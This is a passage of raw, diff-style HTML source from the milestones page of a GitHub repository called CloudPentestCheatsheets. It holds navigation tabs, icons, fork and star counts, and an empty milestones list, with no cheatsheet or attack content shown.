     1001 + <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path>
     1002 +</svg>Fork
     1003 + <span id="repo-network-counter" data-pjax-replace="true" data-turbo-replace="true" title="450" data-view-component="true" class="Counter">450</span>
     1004 +</a>
     1005 + </li>
     1006 + 
     1007 + <li>
     1008 + <div data-view-component="true" class="BtnGroup d-flex">
     1009 + <a href="/login?return_to=%2Fdafthack%2FCloudPentestCheatsheets" rel="nofollow" data-hydro-click="{&quot;event_type&quot;:&quot;authentication.click&quot;,&quot;payload&quot;:{&quot;location_in_page&quot;:&quot;star button&quot;,&quot;repository_id&quot;:271670262,&quot;auth_type&quot;:&quot;LOG_IN&quot;,&quot;originating_url&quot;:&quot;https://github.com/dafthack/CloudPentestCheatsheets/milestones&quot;,&quot;user_id&quot;:null}}" data-hydro-click-hmac="849e3377c92d73a2e65d5b12b1d07b26b16403a8827ab305caa19ba4485b5360" aria-label="You must be signed in to star a repository" data-view-component="true" class="tooltipped tooltipped-s btn-sm btn BtnGroup-item"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2">
     1010 + <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path>
     1011 +</svg><span data-view-component="true" class="d-inline">
     1012 + Star
     1013 +</span> <span id="repo-stars-counter-star" aria-label="2213 users starred this repository" data-singular-suffix="user starred this repository" data-plural-suffix="users starred this repository" data-turbo-replace="true" title="2,213" data-view-component="true" class="Counter js-social-count">2.2k</span>
     1014 +</a> <button aria-label="You must be signed in to add this repository to a list" type="button" disabled="disabled" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down">
     1015 + <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path>
     1016 +</svg>
     1017 +</button></div>
     1018 + </li>
     1019 + 
     1020 + 
     1021 +
     1022 + 
     1023 +</ul>
     1024 + 
     1025 + </div>
     1026 + </div>
     1027 + 
     1028 + <div id="responsive-meta-container" data-turbo-replace>
     1029 +</div>
     1030 + 
     1031 + 
     1032 + <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
     1033 + 
     1034 + <ul data-view-component="true" class="UnderlineNav-body list-style-none">
     1035 + <li data-view-component="true" class="d-inline-flex">
     1036 + <a id="code-tab" href="/dafthack/CloudPentestCheatsheets" data-tab-item="i0code-tab" data-selected-links="repo_source repo_downloads repo_commits repo_releases repo_tags repo_branches repo_packages repo_deployments /dafthack/CloudPentestCheatsheets" data-pjax="#repo-content-pjax-container" data-turbo-frame="repo-content-turbo-frame" data-hotkey="g c" data-analytics-event="{&quot;category&quot;:&quot;Underline navbar&quot;,&quot;action&quot;:&quot;Click tab&quot;,&quot;label&quot;:&quot;Code&quot;,&quot;target&quot;:&quot;UNDERLINE_NAV.TAB&quot;}" data-view-component="true" class="UnderlineNav-item no-wrap js-responsive-underlinenav-item js-selected-navigation-item">
     1037 +
     1038 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline">
     1039 + <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path>
     1040 +</svg>
     1041 + <span data-content="Code">Code</span>
     1042 + <span id="code-repo-tab-count" data-pjax-replace="" data-turbo-replace="" title="Not available" data-view-component="true" class="Counter"></span>
     1043 + 
     1044 + 
     1045 +
     1046 +</a></li>
     1047 + <li data-view-component="true" class="d-inline-flex">
     1048 + <a id="issues-tab" href="/dafthack/CloudPentestCheatsheets/issues" data-tab-item="i1issues-tab" data-selected-links="repo_issues repo_labels repo_milestones /dafthack/CloudPentestCheatsheets/issues" data-pjax="#repo-content-pjax-container" data-turbo-frame="repo-content-turbo-frame" data-hotkey="g i" data-analytics-event="{&quot;category&quot;:&quot;Underline navbar&quot;,&quot;action&quot;:&quot;Click tab&quot;,&quot;label&quot;:&quot;Issues&quot;,&quot;target&quot;:&quot;UNDERLINE_NAV.TAB&quot;}" aria-current="page" data-view-component="true" class="UnderlineNav-item no-wrap js-responsive-underlinenav-item js-selected-navigation-item selected">
     1049 +
     1050 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline">
     1051 + <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path>
     1052 +</svg>
     1053 + <span data-content="Issues">Issues</span>
     1054 + <span id="issues-repo-tab-count" data-pjax-replace="" data-turbo-replace="" title="0" hidden="hidden" data-view-component="true" class="Counter">0</span>
     1055 + 
     1056 + 
     1057 +
     1058 +</a></li>
     1059 + <li data-view-component="true" class="d-inline-flex">
     1060 + <a id="pull-requests-tab" href="/dafthack/CloudPentestCheatsheets/pulls" data-tab-item="i2pull-requests-tab" data-selected-links="repo_pulls checks /dafthack/CloudPentestCheatsheets/pulls" data-pjax="#repo-content-pjax-container" data-turbo-frame="repo-content-turbo-frame" data-hotkey="g p" data-analytics-event="{&quot;category&quot;:&quot;Underline navbar&quot;,&quot;action&quot;:&quot;Click tab&quot;,&quot;label&quot;:&quot;Pull requests&quot;,&quot;target&quot;:&quot;UNDERLINE_NAV.TAB&quot;}" data-view-component="true" class="UnderlineNav-item no-wrap js-responsive-underlinenav-item js-selected-navigation-item">
     1061 +
     1062 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline">
     1063 + <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path>
     1064 +</svg>
     1065 + <span data-content="Pull requests">Pull requests</span>
     1066 + <span id="pull-requests-repo-tab-count" data-pjax-replace="" data-turbo-replace="" title="0" hidden="hidden" data-view-component="true" class="Counter">0</span>
     1067 + 
     1068 + 
     1069 +
     1070 +</a></li>
     1071 + <li data-view-component="true" class="d-inline-flex">
     1072 + <a id="actions-tab" href="/dafthack/CloudPentestCheatsheets/actions" data-tab-item="i3actions-tab" data-selected-links="repo_actions /dafthack/CloudPentestCheatsheets/actions" data-pjax="#repo-content-pjax-container" data-turbo-frame="repo-content-turbo-frame" data-hotkey="g a" data-analytics-event="{&quot;category&quot;:&quot;Underline navbar&quot;,&quot;action&quot;:&quot;Click tab&quot;,&quot;label&quot;:&quot;Actions&quot;,&quot;target&quot;:&quot;UNDERLINE_NAV.TAB&quot;}" data-view-component="true" class="UnderlineNav-item no-wrap js-responsive-underlinenav-item js-selected-navigation-item">
     1073 +
     1074 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline">
     1075 + <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path>
     1076 +</svg>
     1077 + <span data-content="Actions">Actions</span>
     1078 + <span id="actions-repo-tab-count" data-pjax-replace="" data-turbo-replace="" title="Not available" data-view-component="true" class="Counter"></span>
     1079 + 
     1080 + 
     1081 +
     1082 +</a></li>
     1083 + <li data-view-component="true" class="d-inline-flex">
     1084 + <a id="projects-tab" href="/dafthack/CloudPentestCheatsheets/projects" data-tab-item="i4projects-tab" data-selected-links="repo_projects new_repo_project repo_project /dafthack/CloudPentestCheatsheets/projects" data-pjax="#repo-content-pjax-container" data-turbo-frame="repo-content-turbo-frame" data-hotkey="g b" data-analytics-event="{&quot;category&quot;:&quot;Underline navbar&quot;,&quot;action&quot;:&quot;Click tab&quot;,&quot;label&quot;:&quot;Projects&quot;,&quot;target&quot;:&quot;UNDERLINE_NAV.TAB&quot;}" data-view-component="true" class="UnderlineNav-item no-wrap js-responsive-underlinenav-item js-selected-navigation-item">
     1085 +
     1086 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline">
     1087 + <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path>
     1088 +</svg>
     1089 + <span data-content="Projects">Projects</span>
     1090 + <span id="projects-repo-tab-count" data-pjax-replace="" data-turbo-replace="" title="0" hidden="hidden" data-view-component="true" class="Counter">0</span>
     1091 + 
     1092 + 
     1093 +
     1094 +</a></li>
     1095 + <li data-view-component="true" class="d-inline-flex">
     1096 + <a id="security-tab" href="/dafthack/CloudPentestCheatsheets/security" data-tab-item="i5security-tab" data-selected-links="security overview alerts policy token_scanning code_scanning /dafthack/CloudPentestCheatsheets/security" data-pjax="#repo-content-pjax-container" data-turbo-frame="repo-content-turbo-frame" data-hotkey="g s" data-analytics-event="{&quot;category&quot;:&quot;Underline navbar&quot;,&quot;action&quot;:&quot;Click tab&quot;,&quot;label&quot;:&quot;Security&quot;,&quot;target&quot;:&quot;UNDERLINE_NAV.TAB&quot;}" data-view-component="true" class="UnderlineNav-item no-wrap js-responsive-underlinenav-item js-selected-navigation-item">
     1097 +
     1098 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline">
     1099 + <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path>
     1100 +</svg>
     1101 + <span data-content="Security">Security</span>
     1102 + <include-fragment src="/dafthack/CloudPentestCheatsheets/security/overall-count" accept="text/fragment+html"></include-fragment>
     1103 + 
     1104 +
     1105 +</a></li>
     1106 + <li data-view-component="true" class="d-inline-flex">
     1107 + <a id="insights-tab" href="/dafthack/CloudPentestCheatsheets/pulse" data-tab-item="i6insights-tab" data-selected-links="repo_graphs repo_contributors dependency_graph dependabot_updates pulse people community /dafthack/CloudPentestCheatsheets/pulse" data-pjax="#repo-content-pjax-container" data-turbo-frame="repo-content-turbo-frame" data-analytics-event="{&quot;category&quot;:&quot;Underline navbar&quot;,&quot;action&quot;:&quot;Click tab&quot;,&quot;label&quot;:&quot;Insights&quot;,&quot;target&quot;:&quot;UNDERLINE_NAV.TAB&quot;}" data-view-component="true" class="UnderlineNav-item no-wrap js-responsive-underlinenav-item js-selected-navigation-item">
     1108 +
     1109 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline">
     1110 + <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path>
     1111 +</svg>
     1112 + <span data-content="Insights">Insights</span>
     1113 + <span id="insights-repo-tab-count" data-pjax-replace="" data-turbo-replace="" title="Not available" data-view-component="true" class="Counter"></span>
     1114 + 
     1115 + 
     1116 +
     1117 +</a></li>
     1118 +</ul>
     1119 + <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative">
     1120 + <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0">
     1121 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal">
     1122 + <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path>
     1123 +</svg>
     1124 + <span class="sr-only">More</span>
     1125 + </div>
     1126 +</summary>
     1127 + <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> <ul>
     1128 + <li data-menu-item="i0code-tab" hidden>
     1129 + <a role="menuitem" class="js-selected-navigation-item dropdown-item" data-selected-links="repo_source repo_downloads repo_commits repo_releases repo_tags repo_branches repo_packages repo_deployments /dafthack/CloudPentestCheatsheets" href="/dafthack/CloudPentestCheatsheets">
     1130 + Code
     1131 +</a> </li>
     1132 + <li data-menu-item="i1issues-tab" hidden>
     1133 + <a role="menuitem" class="js-selected-navigation-item selected dropdown-item" aria-current="page" data-selected-links="repo_issues repo_labels repo_milestones /dafthack/CloudPentestCheatsheets/issues" href="/dafthack/CloudPentestCheatsheets/issues">
     1134 + Issues
     1135 +</a> </li>
     1136 + <li data-menu-item="i2pull-requests-tab" hidden>
     1137 + <a role="menuitem" class="js-selected-navigation-item dropdown-item" data-selected-links="repo_pulls checks /dafthack/CloudPentestCheatsheets/pulls" href="/dafthack/CloudPentestCheatsheets/pulls">
     1138 + Pull requests
     1139 +</a> </li>
     1140 + <li data-menu-item="i3actions-tab" hidden>
     1141 + <a role="menuitem" class="js-selected-navigation-item dropdown-item" data-selected-links="repo_actions /dafthack/CloudPentestCheatsheets/actions" href="/dafthack/CloudPentestCheatsheets/actions">
     1142 + Actions
     1143 +</a> </li>
     1144 + <li data-menu-item="i4projects-tab" hidden>
     1145 + <a role="menuitem" class="js-selected-navigation-item dropdown-item" data-selected-links="repo_projects new_repo_project repo_project /dafthack/CloudPentestCheatsheets/projects" href="/dafthack/CloudPentestCheatsheets/projects">
     1146 + Projects
     1147 +</a> </li>
     1148 + <li data-menu-item="i5security-tab" hidden>
     1149 + <a role="menuitem" class="js-selected-navigation-item dropdown-item" data-selected-links="security overview alerts policy token_scanning code_scanning /dafthack/CloudPentestCheatsheets/security" href="/dafthack/CloudPentestCheatsheets/security">
     1150 + Security
     1151 +</a> </li>
     1152 + <li data-menu-item="i6insights-tab" hidden>
     1153 + <a role="menuitem" class="js-selected-navigation-item dropdown-item" data-selected-links="repo_graphs repo_contributors dependency_graph dependabot_updates pulse people community /dafthack/CloudPentestCheatsheets/pulse" href="/dafthack/CloudPentestCheatsheets/pulse">
     1154 + Insights
     1155 +</a> </li>
     1156 + </ul>
     1157 +</details-menu>
     1158 +</details></div>
     1159 +</nav>
     1160 + 
     1161 + </div>
     1162 + 
     1163 +
     1164 + 
     1165 + 
     1166 + 
     1167 +<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class="">
     1168 + <div id="repo-content-pjax-container" class="repository-content " >
     1169 +
     1170 + 
     1171 + 
     1172 +
     1173 +
     1174 + <div class="clearfix new-discussion-timeline js-check-all-container container-xl px-3 px-md-4 px-lg-5 mt-4" data-pjax="" data-turbo-frame="">
     1175 +
     1176 + <div class="d-flex flex-wrap flex-justify-between width-full width-md-auto milestones-flexbox-gap">
     1177 +
     1178 +<nav class="subnav-links float-left d-flex no-wrap" aria-label="Issue">
     1179 + <a selected_link="repo_milestones" class="js-selected-navigation-item subnav-item" data-selected-links="repo_labels /dafthack/CloudPentestCheatsheets/labels" href="/dafthack/CloudPentestCheatsheets/labels">
     1180 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-tag">
     1181 + <path d="M1 7.775V2.75C1 1.784 1.784 1 2.75 1h5.025c.464 0 .91.184 1.238.513l6.25 6.25a1.75 1.75 0 0 1 0 2.474l-5.026 5.026a1.75 1.75 0 0 1-2.474 0l-6.25-6.25A1.752 1.752 0 0 1 1 7.775Zm1.5 0c0 .066.026.13.073.177l6.25 6.25a.25.25 0 0 0 .354 0l5.025-5.025a.25.25 0 0 0 0-.354l-6.25-6.25a.25.25 0 0 0-.177-.073H2.75a.25.25 0 0 0-.25.25ZM6 5a1 1 0 1 1 0 2 1 1 0 0 1 0-2Z"></path>
     1182 +</svg>
     1183 + Labels
     1184 +</a> <a selected_link="repo_milestones" class="js-selected-navigation-item selected subnav-item" aria-current="page" data-selected-links="repo_milestones /dafthack/CloudPentestCheatsheets/milestones" href="/dafthack/CloudPentestCheatsheets/milestones">
     1185 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-milestone">
     1186 + <path d="M7.75 0a.75.75 0 0 1 .75.75V3h3.634c.414 0 .814.147 1.13.414l2.07 1.75a1.75 1.75 0 0 1 0 2.672l-2.07 1.75a1.75 1.75 0 0 1-1.13.414H8.5v5.25a.75.75 0 0 1-1.5 0V10H2.75A1.75 1.75 0 0 1 1 8.25v-3.5C1 3.784 1.784 3 2.75 3H7V.75A.75.75 0 0 1 7.75 0Zm4.384 8.5a.25.25 0 0 0 .161-.06l2.07-1.75a.248.248 0 0 0 0-.38l-2.07-1.75a.25.25 0 0 0-.161-.06H2.75a.25.25 0 0 0-.25.25v3.5c0 .138.112.25.25.25h9.384Z"></path>
     1187 +</svg>
     1188 + Milestones
     1189 +</a></nav>
     1190 + 
     1191 +</div>
     1192 + 
     1193 + 
     1194 + <div class="table-list-header">
     1195 + <div class="table-list-filters">
     1196 + <div class="table-list-header-toggle states float-left">
     1197 + <a class="btn-link selected" href="/dafthack/CloudPentestCheatsheets/milestones?state=open">
     1198 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-milestone">
     1199 + <path d="M7.75 0a.75.75 0 0 1 .75.75V3h3.634c.414 0 .814.147 1.13.414l2.07 1.75a1.75 1.75 0 0 1 0 2.672l-2.07 1.75a1.75 1.75 0 0 1-1.13.414H8.5v5.25a.75.75 0 0 1-1.5 0V10H2.75A1.75 1.75 0 0 1 1 8.25v-3.5C1 3.784 1.784 3 2.75 3H7V.75A.75.75 0 0 1 7.75 0Zm4.384 8.5a.25.25 0 0 0 .161-.06l2.07-1.75a.248.248 0 0 0 0-.38l-2.07-1.75a.25.25 0 0 0-.161-.06H2.75a.25.25 0 0 0-.25.25v3.5c0 .138.112.25.25.25h9.384Z"></path>
     1200 +</svg>
     1201 + 0
     1202 + Open
     1203 +</a>
     1204 + <a class="btn-link " href="/dafthack/CloudPentestCheatsheets/milestones?state=closed">
     1205 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check">
     1206 + <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path>
     1207 +</svg>
     1208 + 0
     1209 + Closed
     1210 +</a> </div>
     1211 + 
     1212 + <div class="table-list-header-toggle float-right">
     1213 + <details class="details-reset details-overlay select-menu">
     1214 + <summary data-view-component="true" class="select-menu-button icon-only btn-link"> Sort
     1215 +</summary> <details-menu class="select-menu-modal position-absolute right-0" style="z-index:99;">
     1216 + <div class="select-menu-header">
     1217 + <span class="select-menu-title">Sort</span>
     1218 + </div>
     1219 + <div class="select-menu-list">
     1220 + <a class="select-menu-item" href="/dafthack/CloudPentestCheatsheets/milestones" aria-checked="true" role="menuitemradio">
     1221 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check select-menu-item-icon">
     1222 + <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path>
     1223 +</svg>
     1224 + <div class="select-menu-item-text">Recently updated</div>
     1225 + </a>
     1226 + <a class="select-menu-item" href="/dafthack/CloudPentestCheatsheets/milestones?direction=desc&amp;sort=due_date&amp;state=open" aria-checked="false" role="menuitemradio">
     1227 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check select-menu-item-icon">
     1228 + <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path>
     1229 +</svg>
     1230 + <div class="select-menu-item-text">Furthest due date</div>
     1231 + </a>
     1232 + <a class="select-menu-item" href="/dafthack/CloudPentestCheatsheets/milestones?direction=asc&amp;sort=due_date&amp;state=open" aria-checked="false" role="menuitemradio">
     1233 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check select-menu-item-icon">
     1234 + <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path>
     1235 +</svg>
     1236 + <div class="select-menu-item-text">Closest due date</div>
     1237 + </a>
     1238 + <a class="select-menu-item" href="/dafthack/CloudPentestCheatsheets/milestones?direction=asc&amp;sort=completeness&amp;state=open" aria-checked="false" role="menuitemradio">
     1239 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check select-menu-item-icon">
     1240 + <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path>
     1241 +</svg>
     1242 + <div class="select-menu-item-text">Least complete</div>
     1243 + </a>
     1244 + <a class="select-menu-item" href="/dafthack/CloudPentestCheatsheets/milestones?direction=desc&amp;sort=completeness&amp;state=open" aria-checked="false" role="menuitemradio">
     1245 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check select-menu-item-icon">
     1246 + <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path>
     1247 +</svg>
     1248 + <div class="select-menu-item-text">Most complete</div>
     1249 + </a>
     1250 + <a class="select-menu-item" href="/dafthack/CloudPentestCheatsheets/milestones?direction=asc&amp;sort=title&amp;state=open" aria-checked="false" role="menuitemradio">
     1251 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check select-menu-item-icon">
     1252 + <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path>
     1253 +</svg>
     1254 + <div class="select-menu-item-text">Alphabetically</div>
     1255 + </a>
     1256 + <a class="select-menu-item" href="/dafthack/CloudPentestCheatsheets/milestones?direction=desc&amp;sort=title&amp;state=open" aria-checked="false" role="menuitemradio">
     1257 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check select-menu-item-icon">
     1258 + <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path>
     1259 +</svg>
     1260 + <div class="select-menu-item-text">Reverse alphabetically</div>
     1261 + </a>
     1262 + <a class="select-menu-item" href="/dafthack/CloudPentestCheatsheets/milestones?direction=desc&amp;sort=count&amp;state=open" aria-checked="false" role="menuitemradio">
     1263 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check select-menu-item-icon">
     1264 + <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path>
     1265 +</svg>
     1266 + <div class="select-menu-item-text">Most issues</div>
     1267 + </a>
     1268 + <a class="select-menu-item" href="/dafthack/CloudPentestCheatsheets/milestones?direction=asc&amp;sort=count&amp;state=open" aria-checked="false" role="menuitemradio">
     1269 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check select-menu-item-icon">
     1270 + <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path>
     1271 +</svg>
     1272 + <div class="select-menu-item-text">Least issues</div>
     1273 + </a>
     1274 + </div>
     1275 + </details-menu>
     1276 + </details>
     1277 + </div>
     1278 + </div>
     1279 + </div>
     1280 + 
     1281 +
     1282 + <div data-view-component="true" class="blankslate">
     1283 + <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-milestone blankslate-icon">
